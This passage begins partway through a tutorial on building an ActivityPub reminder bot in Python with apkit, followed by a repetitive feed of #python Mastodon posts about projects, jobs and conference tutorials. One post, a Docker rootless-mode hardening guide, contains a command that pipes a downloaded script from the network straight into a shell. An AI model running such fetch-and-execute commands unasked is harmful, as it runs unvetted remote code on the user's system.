with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@unruhe@mastodon.social
Somebody knows a cheap VPS with Python to host one of my domain? Possibly a FreeBSD VPS.
@villares@ciberlandia.pt
Should I make more T-shirts?
https://villares-shop.fourthwall.com/
https://umapenca.com/villares/
#Python #Processing #py5 #CreativeCoding #FLOSS #numpy #shapely #trimesh
@lachlan@mastodon.social · Reply to lachlan but spooky's post
If a highly customisable #python, #scrum or #agile utility actually sounds like something you'd be keen on using, I'd actually really love to know. v0.2 has a couple of significant design changes that would effect calling it as a library or creating your own templates, and I'd love some feedback on the design (probably in a week or two) before I merge it in.
But - `pip install scrummd` will already give you the scrum tool nobody asked for!
@lachlan@mastodon.social · Reply to lachlan but spooky's post
If a highly customisable #python, #scrum or #agile utility actually sounds like something you'd be keen on using, I'd actually really love to know. v0.2 has a couple of significant design changes that would effect calling it as a library or creating your own templates, and I'd love some feedback on the design (probably in a week or two) before I merge it in.
But - `pip install scrummd` will already give you the scrum tool nobody asked for!
@lachlan@mastodon.social
Sometimes, when coding your own thing, you do little things to make yourself happy even if it isn't _strictly in scope_ of the feature you're building.
I'm adding writing fields to #ScrumMD. I needed to rewrite the output code to make that work - which meant I'm moving (eventually) all output to Jinja2 templates rather.
And, to make me happy: I added ANSI color when using interactively to the new default template.
@mgorny@treehouse.systems
So #Zope released new versions of their packages, with pkg-resources style namespace removal.
Totally normal way to do the bumps:
1. At first, keep the existing testing hack (writing `__init__.py`).
2. Notice that the next package fails because it expects test paths relative to `zope` subdirectory. Skip it for now.
3. While doing the next package, realize you could remove that hack and simply run tests within the `zope` subdirectory! Go back and update all the previous packages, including the one that failed before.
4. Back to bumping. Notice that in the very next package you've had an even better solution: instead of `cd`, you just called `python -m unittest -s …`. Go back and update all the previous packages.
5. Back to bumping. The very next package turns out to actually expects test paths relative to the top-level site-packages directory. Well, you can use a hybrid of the `__init__.py` hack with `python -m unittest -s …`.
@mr_daemon@untrusted.website
WOOPS I've added OpenBSD support to Exosphere. One thing led to another and uh...
@kernellogger@hachyderm.io
#PythonBPF - Writing #eBPF Programs in Pure #Python
https://xeon.me/gnome/pythonbpf/
Varun R Mallya writes: ""Python-BPF offers a new way to write eBPF programs entirely in Python, compiling them into real object files. This project is open-source and available on GitHub (https://github.com/varun-r-mallya/python-bpf ) and PyPI (https://pypi.org/project/pythonbpf/ ). I wrote it alongside R41k0u.
[…]
Before Python-BPF, writing eBPF programs in Python typically involved embedding C code within multiline strings, often using libraries like bcc. eBPF allows for small programs to run based on kernel events, similar to kernel modules.
[…]
Python-BPF brings the true eBPF experience to Python by allowing the exact same functionality to be replaced by valid Python code. This is a significant improvement over multiline C strings, offering support from existing Python tools.
[…]""
@rasterweb@mastodon.social
I did not make any good progress on my project to read GPX data with Python today. (Trying to read speed.) May need to just read it as XML.
There are a bunch of nerds who do Python and bikes though, so someone might have the code example I need.
@rasterweb@mastodon.social
I did not make any good progress on my project to read GPX data with Python today. (Trying to read speed.) May need to just read it as XML.
There are a bunch of nerds who do Python and bikes though, so someone might have the code example I need.
@rami@chaos.social
Psst 🤫 Wir suchen eine neue Kolleg*in für Full-Stack-Web-Entwicklung mit Fokus auf Python + Django 🐍
30-40h/Woche, remote in Deutschland, 55-66k€/Jahr plus Extras, viel open source. Alle Details: https://pretix.eu/about/de/job/webdev
Ein großer Teil des bestehenden Teams ist diese Woche auch auf den #mrmcd, wenn jemand erzählt bekommen möchte, wie es ist, bei uns zu arbeiten :)
#fedihire #fedijob #fedijobs #opensource #django #python #job
@mcepl@en.osm.town · Reply to rob pike's post
The lesson for me is not no #Python (yes, as a Python maintainer for SUSE, I am biased), but that I am always very worried about any efforts to generate Python code. And yes, in tabs versus spaces debate, at least for Python, I am strictly on the side of following PEP-8: no tabs at all, 4 spaces for indentation. No exceptions.
@reynardsec@infosec.exchange
devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?
ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.
devops1: Fine. If it's "not hard" to implement, we can consider this.
ItSec: Deal.
Note: this mode does have some limitations. You can review them in docs [2].
First, let's check which user the Docker daemon is currently running as.
ps -C dockerd -o pid,user,group,cmd --no-headers
You should see something like:
9250 root root /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.
sudo systemctl disable --now docker.service docker.socket
Then install the uid/gid mapping tools. On Ubuntu it's uidmap.
sudo apt update && sudo apt install -y uidmap
Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.
dockerd-rootless-setuptool.sh install
If that command doesn't exist, install the extras package or use the official rootless script.
sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh
The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.
export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc
Enable auto-start for your user session and let services run even after logout ("linger").
systemctl --user enable docker
sudo loginctl enable-linger $(whoami)
Point the CLI at the new context and sanity-check.
docker context use rootless
Once more, check which privileges the Docker daemon is running with:
ps -C dockerd -o pid,user,group,cmd --no-headers
Now you will see something like:
10728 ubuntu ubuntu dockerd
And pssst! Podman runs containers in "rootless" mode by default [3].
[1] https://docs.docker.com/engine/security/rootless/
[2] https://docs.docker.com/engine/security/rootless/troubleshoot/
[3] https://documentation.suse.com/en-us/smart/container/html/rootless-podman/index.html#rootless-podman-sle
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
#appsec #devops #programming #webdev #java #javascript #python #php #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops
@maphew@vmst.io
dear #python, i've only ever built cli tools in python. A couple of times I've looked at making a gui app, but unless it's a web ui (i understand html and css a bit) they all seem so very complicated. However i need to interact with local files so a web ui won't work. i'm never going to be a full fledged developer but i do want to make nice things. are there any gui frameworks that are easy-ish to get started with? actually fun/rewarding to use?
@luca@social.luca.run · Reply to Luca Hammer's post
Ich arbeite inzwischen vier Monate bei pretix. Davon habe ich mir knapp einen Monat Urlaub genommen (offene Urlaubsregelung funktioniert). Ich habe schon einige Fehler gemacht und wurde nie dafür verurteilt, sondern bekam Unterstützung beim Lernen und Wiederhinbiegen. Das tut gut.
Derzeit wird eine Person gesucht, die gerne mit #Python und #Django arbeitet. Bewerbt euch: https://pretix.eu/about/de/job/webdev
@villares@ciberlandia.pt · Reply to Alexandre B A Villares 🐍's post
@pythonbrasil@pynews.com.br
Tutorial
Beyond the Basics: Data Visualization in Python - Stefanie Molin
The human brain excels at finding patterns in visual representations, which is why visualizations are essential to any analysis. Come learn the skills to make customized visualizations using Python.
@luca@social.luca.run · Reply to Luca Hammer's post
Ich arbeite inzwischen vier Monate bei pretix. Davon habe ich mir knapp einen Monat Urlaub genommen (offene Urlaubsregelung funktioniert). Ich habe schon einige Fehler gemacht und wurde nie dafür verurteilt, sondern bekam Unterstützung beim Lernen und Wiederhinbiegen. Das tut gut.
Derzeit wird eine Person gesucht, die gerne mit #Python und #Django arbeitet. Bewerbt euch: https://pretix.eu/about/de/job/webdev
@villares@ciberlandia.pt · Reply to Alexandre B A Villares 🐍's post
@pythonbrasil@pynews.com.br
Tutorial
Beyond the Basics: Data Visualization in Python - Stefanie Molin
The human brain excels at finding patterns in visual representations, which is why visualizations are essential to any analysis. Come learn the skills to make customized visualizations using Python.
@mistersql@mastodon.social
#python and #pypi supply chain mitigation for *apps*
What we (and npm and cargo and so on) need is pipx, except it runs that app in a docker container.
So I wrote a little script to generate a docker file, transferred the credentials for a secure python proxy to it, build and run the docker file.
The docker part was hard, but 10% of users, 1% of the time would be able to do it, but that wasn't the worst.
@rami@chaos.social
Psst 🤫 Wir suchen eine neue Kolleg*in für Full-Stack-Web-Entwicklung mit Fokus auf Python + Django 🐍
30-40h/Woche, remote in Deutschland, 55-66k€/Jahr plus Extras, viel open source. Alle Details: https://pretix.eu/about/de/job/webdev
Ein großer Teil des bestehenden Teams ist diese Woche auch auf den #mrmcd, wenn jemand erzählt bekommen möchte, wie es ist, bei uns zu arbeiten :)
#fedihire #fedijob #fedijobs #opensource #django #python #job
@rye@ioc.exchange
@pythonbrasil@pynews.com.br
Tutorial
Análise e manipulação de tráfego web (HTTP) - Lidiane Monteiro
Aprenda a interceptar, analisar e modificar tráfego HTTP/HTTPS com Burp Suite e mitmproxy em um tutorial prático voltado para testes, automação, scraping e segurança web.
@pythonbrasil@pynews.com.br
Tutorial
Análise e manipulação de tráfego web (HTTP) - Lidiane Monteiro
Aprenda a interceptar, analisar e modificar tráfego HTTP/HTTPS com Burp Suite e mitmproxy em um tutorial prático voltado para testes, automação, scraping e segurança web.
@pythonbrasil@pynews.com.br
Tutorial
Da idéia ao deploy com Plone - Érico Andrei
Nesse tutorial você aprenderá como criar um novo projeto utilizando Plone (Portal Modelo, Portal Padrão ou Portal Brasil), deixar o projeto com a sua cara e fazer o deploy em um ambiente remoto.
@pythonbrasil@pynews.com.br
Tutorial
Python com Microcontrolador - Quenia Gouevia
Aprenda programação básica com MicroPython e ESP32 usando a plataforma BIPES. Ideal para iniciantes em IoT.
@pythonbrasil@pynews.com.br
Tutorial
Da idéia ao deploy com Plone - Érico Andrei
Nesse tutorial você aprenderá como criar um novo projeto utilizando Plone (Portal Modelo, Portal Padrão ou Portal Brasil), deixar o projeto com a sua cara e fazer o deploy em um ambiente remoto.
@pythonbrasil@pynews.com.br
Tutorial
Python com Microcontrolador - Quenia Gouevia
Aprenda programação básica com MicroPython e ESP32 usando a plataforma BIPES. Ideal para iniciantes em IoT.
@villares@ciberlandia.pt
Adoro esse ponto reforçado pelo @lr, no Python Fluente! Sempre uso uma frase parecida com essa nas minhas aulas!
«Para entender uma atribuição em Python, leia primeiro o lado direito: é ali que o objeto é criado ou recuperado. Depois disso, a variável do lado esquerdo é vinculada ao objeto, como uma etiqueta colada a ele. Esqueça as caixas.»
LR in Python Fluente: Variáveis não são caixas
@revisto@mastodon.social
Just released Drum Machine v1.5.0 and I'm excited.
You can finally export your beats as audio files! WAV, FLAC, OGG, MP3. Plus, you can add metadata like artist name, song title, and cover art. You can also set how many times your pattern repeats. So if you make a short 4-bar loop, you can export it as a 3 minute track!
I would love to hear what you create with it, so please tag me if you share your beats anywhere <3
@revisto@mastodon.social
Just released Drum Machine v1.5.0 and I'm excited.
You can finally export your beats as audio files! WAV, FLAC, OGG, MP3. Plus, you can add metadata like artist name, song title, and cover art. You can also set how many times your pattern repeats. So if you make a short 4-bar loop, you can export it as a 3 minute track!
I would love to hear what you create with it, so please tag me if you share your beats anywhere <3
@villares@ciberlandia.pt
Adoro esse ponto reforçado pelo @lr, no Python Fluente! Sempre uso uma frase parecida com essa nas minhas aulas!
«Para entender uma atribuição em Python, leia primeiro o lado direito: é ali que o objeto é criado ou recuperado. Depois disso, a variável do lado esquerdo é vinculada ao objeto, como uma etiqueta colada a ele. Esqueça as caixas.»
LR in Python Fluente: Variáveis não são caixas
@pythonbrasil@pynews.com.br
Tutorial
Exploring 2D and 3D geometry libraries in Python - Alexandre Villares e Jim Schmitz
This tutorial will explore the creation and manipulation of 2D and 3D geometric objects. Specifically, it will focus on the shapely and trimesh libraries in the context of creative coding using py5.
@pythonbrasil@pynews.com.br
Tutorial
Exploring 2D and 3D geometry libraries in Python - Alexandre Villares e Jim Schmitz
This tutorial will explore the creation and manipulation of 2D and 3D geometric objects. Specifically, it will focus on the shapely and trimesh libraries in the context of creative coding using py5.
@revisto@mastodon.social
Just released Drum Machine v1.5.0 and I'm excited.
You can finally export your beats as audio files! WAV, FLAC, OGG, MP3. Plus, you can add metadata like artist name, song title, and cover art. You can also set how many times your pattern repeats. So if you make a short 4-bar loop, you can export it as a 3 minute track!
I would love to hear what you create with it, so please tag me if you share your beats anywhere <3
@villares@ciberlandia.pt
Folks, I finally made something I wanted to make for a long time, a T-Shirt design thing.
Available at Redbubble https://www.redbubble.com/i/t-shirt/numpy-shapely-trimesh-and-py5-by-villares/173500912.7H7A9?asc=u
And also available in Brazil at Uma Penca: https://umapenca.com/villares/
You can also buy stickers and other items... soon my "Python Reading Club" and "Python is also for artists!" designs will be available. This will help support my free and open source activities. I make free and open educational resources, I teach at several places and I need to make ends meet.
#python #numpy #shapely #trimesh #py5 #creativeCoding #FLOSS
@pythonbrasil@pynews.com.br
A espera acabou: agora você pode conferir a grade (quase) completa da Python Brasil 2025!
As inscrições para os tutoriais serão divulgadas em breve, e os ingressos para palestras dão acesso a todos os dias e trilhas de conteúdos.
Esperamos por vocês de 21 a 27 de outubro em São Paulo 🐍❤️
@pythonbrasil@pynews.com.br
Tutorial
Ensinar Python com Alegria: Didática e Vocação Viva - Fernando Masanori
Tutorial para quem quer ensinar Python com alegria, acolhimento e eficácia. Vamos falar de vocação, didática, erros comuns e como transformar vidas com código.
@pythonbrasil@pynews.com.br
A espera acabou: agora você pode conferir a grade (quase) completa da Python Brasil 2025!
As inscrições para os tutoriais serão divulgadas em breve, e os ingressos para palestras dão acesso a todos os dias e trilhas de conteúdos.
Esperamos por vocês de 21 a 27 de outubro em São Paulo 🐍❤️
@ax6761@freeradical.zone
Installing commands of a #Python package
What people are using to install commands (Python programs and/or shell scripts that parses options, imports & uses modules of same package) of a package?
I am aware of "entry point" in "pyproject.toml"; am not asking for or help with that.
If nothing comes up, may have to do edit those files during installation to supply the python interpreter (either to run with or in shebang line) & "sys.path" via Makefile & such ...
@nostarch@mastodon.social
Ever feel like your spreadsheets are holding you back? Python gives Excel users the tools to break through those limits.
Learn to translate your spreadsheet logic into code, clean and reshape data with pandas, automate reports, pull info from databases and APIs, and even create interactive dashboards.
It’s not about leaving Excel behind, but making your work faster, smarter, and more reliable.
@pythonbrasil@pynews.com.br
Tutorial
Ensinar Python com Alegria: Didática e Vocação Viva - Fernando Masanori
Tutorial para quem quer ensinar Python com alegria, acolhimento e eficácia. Vamos falar de vocação, didática, erros comuns e como transformar vidas com código.
@dwn@dwnfonts.cc
@villares@ciberlandia.pt
Folks, I finally made something I wanted to make for a long time, a T-Shirt design thing.
Available at Redbubble https://www.redbubble.com/i/t-shirt/numpy-shapely-trimesh-and-py5-by-villares/173500912.7H7A9?asc=u
And also available in Brazil at Uma Penca: https://umapenca.com/villares/
You can also buy stickers and other items... soon my "Python Reading Club" and "Python is also for artists!" designs will be available. This will help support my free and open source activities. I make free and open educational resources, I teach at several places and I need to make ends meet.
#python #numpy #shapely #trimesh #py5 #creativeCoding #FLOSS
@glyph@mastodon.social
It's 2025 and I am still not 100% sure how to have #PyGame go to sleep and wait for *either* an event from the keyboard/mouse/controller *or* an event from the network *or* a vblank interrupt without some kind of hard-coded polling timeout. Various attempts I've made at this in the past have violated thread safety rules and I'm not sure the documentation even covers all the constraints I need to preserve. #python
@pythonbrasil@pynews.com.br
Tutorial
Primeiros Passos com Python para Mulheres Iniciantes - PyLadies São Paulo
Um tutorial introdutório e acolhedor, conduzido por mulheres da comunidade PyLadies, voltado a iniciantes que desejam aprender a programar com Python do zero.
@pythonbrasil@pynews.com.br
Tutorial
Primeiros Passos com Python para Mulheres Iniciantes - PyLadies São Paulo
Um tutorial introdutório e acolhedor, conduzido por mulheres da comunidade PyLadies, voltado a iniciantes que desejam aprender a programar com Python do zero.
@pythonbrasil@pynews.com.br
Gostaríamos de fazer um pedido especial à comunidade.
Recebemos pedidos de instituições públicas e projetos sociais que ensinam programação para pessoas em situação de vulnerabilidade, que adorariam participar da Python Brasil. Infelizmente, não temos verba para custear os ingressos.
Se você tem condições, doe um ingresso e ajude a levar conhecimento e inclusão para quem mais precisa. Sua doação pode transformar a experiência de um estudante.
@pythonbrasil@pynews.com.br
Gostaríamos de fazer um pedido especial à comunidade.
Recebemos pedidos de instituições públicas e projetos sociais que ensinam programação para pessoas em situação de vulnerabilidade, que adorariam participar da Python Brasil. Infelizmente, não temos verba para custear os ingressos.
Se você tem condições, doe um ingresso e ajude a levar conhecimento e inclusão para quem mais precisa. Sua doação pode transformar a experiência de um estudante.
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nossa segunda Keynote: Rafahela Bazzanella!
Rafahela é cofundadora da @associacaopythonbrasil, mantenedora do Portal Modelo, solução utilizada por 1200 casas legislativas no Brasil e mãe do Rodrigo 🥰
@entrouvert@mastodon.libre-entreprise.com
Entr'ouvert recrute un·e développeur·euse Python/Django : https://www.entrouvert.com/actualites/2025/embauche-developpeureuse-python-django-2025/
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nossa segunda Keynote: Rafahela Bazzanella!
Rafahela é cofundadora da @associacaopythonbrasil, mantenedora do Portal Modelo, solução utilizada por 1200 casas legislativas no Brasil e mãe do Rodrigo 🥰
@danzin@mastodon.social
Posted a topic about lafleur, the CPython JIT fuzzer I'm developing: https://discuss.python.org/t/introducing-lafleur-a-cpython-jit-fuzzer/103452
It has many details about the project, the results (4 JIT crashes so far), calls for help and ideas for the future.
If any of this interests you, please give a read. Boosts welcome :)
@pythonbrasil@pynews.com.br
Tutorial
Testes automatizados e qualidade de dados em data pipelines - Gabrielle Stephanie e Talissa Moura
Aprenda a criar pipelines de dados robustos com testes automatizados e validação de qualidade em python. Domine testes unitários, integração, performance e garantia de dados confiáveis.
@pythonbrasil@pynews.com.br
Tutorial
Primeiros passos com Padrões de Projeto (com TDD) - Vitor Buxbaum
Já sabe refatorar um código, mas ainda não entrou no mundo dos Padrões de Projeto? Essa é sua oportunidade de entender o motivo de existirem, e usá-los para melhorar um código existente.
@pythonbrasil@pynews.com.br
Tutorial
Testes automatizados e qualidade de dados em data pipelines - Gabrielle Stephanie e Talissa Moura
Aprenda a criar pipelines de dados robustos com testes automatizados e validação de qualidade em python. Domine testes unitários, integração, performance e garantia de dados confiáveis.
@pythonbrasil@pynews.com.br
Tutorial
Primeiros passos com Padrões de Projeto (com TDD) - Vitor Buxbaum
Já sabe refatorar um código, mas ainda não entrou no mundo dos Padrões de Projeto? Essa é sua oportunidade de entender o motivo de existirem, e usá-los para melhorar um código existente.
@pythonbrasil@pynews.com.br
Tutorial
Criando aplicações de linha de comando amáveis - Álvaro Justen
Aprenda a criar CLIs amigáveis e robustas, só com a stdlib. Vamos ver o que torna uma CLI boa (ou péssima), boas práticas da filosofia UNIX e como facilitar a vida de quem ama o terminal.
@pythonbrasil@pynews.com.br
Tutorial
Criando aplicações de linha de comando amáveis - Álvaro Justen
Aprenda a criar CLIs amigáveis e robustas, só com a stdlib. Vamos ver o que torna uma CLI boa (ou péssima), boas práticas da filosofia UNIX e como facilitar a vida de quem ama o terminal.
@entrouvert@mastodon.libre-entreprise.com
Entr'ouvert recrute un·e développeur·euse Python/Django : https://www.entrouvert.com/actualites/2025/embauche-developpeureuse-python-django-2025/
@danzin@mastodon.social
Posted a topic about lafleur, the CPython JIT fuzzer I'm developing: https://discuss.python.org/t/introducing-lafleur-a-cpython-jit-fuzzer/103452
It has many details about the project, the results (4 JIT crashes so far), calls for help and ideas for the future.
If any of this interests you, please give a read. Boosts welcome :)
@mistersql@mastodon.social
It's alive! Why bother with a .whl, or .zip or .pex or .pyz when you have `.sh` right there.
Shove your app into `python -c "..."`and stick that in a `.sh` file
Works now for
- single #python file
- module of many files
I guess uv integration is next.
Also useful for things like gitlab pipelines that don't let you reference python files in certain cases.
@pythonbrasil@pynews.com.br
Tutorial
Python nas nuvens: validando infraestrutura AWS com código - Paula Silva, Maria Giovanna e Izabely Gama
Você já parou para pensar que não é só o código da sua aplicação que precisa ser testado? Vem com a gente descobrir como a validação da infraestrutura está transformando a forma de garantir qualidade.
@mistersql@mastodon.social
It's alive! Why bother with a .whl, or .zip or .pex or .pyz when you have `.sh` right there.
Shove your app into `python -c "..."`and stick that in a `.sh` file
Works now for
- single #python file
- module of many files
I guess uv integration is next.
Also useful for things like gitlab pipelines that don't let you reference python files in certain cases.
@pythonbrasil@pynews.com.br
Tutorial
Python nas nuvens: validando infraestrutura AWS com código - Paula Silva, Maria Giovanna e Izabely Gama
Você já parou para pensar que não é só o código da sua aplicação que precisa ser testado? Vem com a gente descobrir como a validação da infraestrutura está transformando a forma de garantir qualidade.
@veronica@mastodon.online
I think the bug I resolved (I wouldn't say fixed) in @novelwriter today is the weirdest I've encountered so far.
The app uses @-based keywords to set meta data in the text. An auto-complete menu pops up to suggest which keyword when you type an @ on a new line.
In the current version (at least) if you have the editor "justified margins" set, type an @, then type backspace, then *and only then* will Qt/PyQt segfault and crash the app.
@danzin@mastodon.social
Posted a topic about lafleur, the CPython JIT fuzzer I'm developing: https://discuss.python.org/t/introducing-lafleur-a-cpython-jit-fuzzer/103452
It has many details about the project, the results (4 JIT crashes so far), calls for help and ideas for the future.
If any of this interests you, please give a read. Boosts welcome :)
@nostarch@mastodon.social
A friendly reminder that you can enjoy 35% off everything on our website until tomorrow at 23:59.
DRM-Free. Print includes instant ebook. 30-day returns.
Build skills that outlast jobs.
#programming #infosec #cybersecurity #linux #python #php #books #bookstodon #hardware #hacking #redteam #blueteam #DevOps #design #manga #lego #bash #PowerShell #R #excel #Automation #quantumcomputing #deeplearning #javascript #kotlin
@Dendrobatus_Azureus@bsd.cafe
Thanks to @nixCraft I now know about this wonderful repository of Python routines & algorithms
https://github.com/TheAlgorithms/Python
#Programming #OpenSource #POSIX #Python #libraries #routines #educación #educational
@mistersql@mastodon.social
Today's idea,
#python -c "..." can and should act like a packaging format.
Question is, has it already been done. Doesn't look like it.
Use case? Yaml build scripts with restrictions on referencing .py files (looking at you gitlab) or R/O file systems.
Implementation, custom import loaders and probably zipping up the string to make it more compact.
@mmcknett@hachyderm.io
If we’re not calling #python 3.14 “Pi-thon”, what are we even doing?
@mmcknett@hachyderm.io
If we’re not calling #python 3.14 “Pi-thon”, what are we even doing?
